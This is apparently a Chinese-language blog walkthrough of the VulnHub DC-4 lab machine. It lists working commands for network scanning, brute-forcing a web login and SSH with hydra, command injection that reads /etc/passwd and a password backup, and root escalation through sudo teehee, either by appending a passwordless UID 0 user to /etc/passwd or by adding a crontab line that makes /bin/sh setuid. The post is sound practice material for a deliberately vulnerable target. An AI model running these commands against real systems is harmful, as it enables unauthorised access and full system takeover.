vulnhub-DC4靶机练习


靶机下载地址:
https://www.vulnhub.com/entry/dc-4,313/
1、信息收集
arp-scan -l

nmap -A -p- 192.168.1.104
开放:80、22 端口

2、爆破后台
访问http://192.168.13.134/,使用bp爆破一下,这里密码薄采用kali路径下的
/usr/share/john/password.lst
复制粘贴出来即可


可以看到账号和密码为
admin
happy

登进后台

发现可以执行一些命令

篡改命令,查看到了我是谁,这意味着靶机存在命令注入漏洞
whoami

cat+/etc/passwd
发现有三个用户

看一下/home目录
ls+-al+/home

ls+-al+/home/jim

ls+-al+/home/jim/backups

cat+/home/jim/backups/old-passwords.bak
看得出这个敏感文件是个字典,再想到靶机开了22端口…

首先把上面的密码字典复制到kali中,命名文件password.txt,同样的,创建用户名文件user.txt
vim password.txt
vim user.txt
3、使用hydra爆破
hydra -L user.txt -P password.txt ssh://192.168.13.134 -vV -o hydra.ssh

得到用户jim 密码jibril04,SSH登录
ssh jim@192.168.13.134

登录提示邮件

在/var/mail/下得到charles的密码 ^xHhA&hvim0y ,切换为charles
cd /var/mail/
ls
cat jim

登录charles用户
ssh charles@192.168.13.134 -p 22
^xHhA&hvim0y
sudo -l查看权限,发现可以不需要密码执行teehee(root权限),teehee可以来向其他文件写入内容
sudo -l

4、利用teehee提权
1.添加一个 test 用户,并使用teehee执行直接写入 passwd中(设置uid和gid都为0,那么这个用户就相当于root)
如:admin:x:0:0::/home/admin:/bin/bash
[用户名]:[密码]:[UID]:[GID]:[身份描述]:[主目录]:[登录shell]
echo “test::0:0:::/bin/bash” | sudo teehee -a /etc/passwd

2.通过定时任务执行脚本提权,向/etc/crontab文件中写入新的定时任务
通过teehee的sudo提升权限以 root身份写入crontab计划任务通过执行获取root权限
echo “* * * * * root chmod 4777 /bin/sh” | sudo teehee -a /etc/crontab

启一个终端


文章作者: Luoruiy
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Luoruiy !
赏
  目录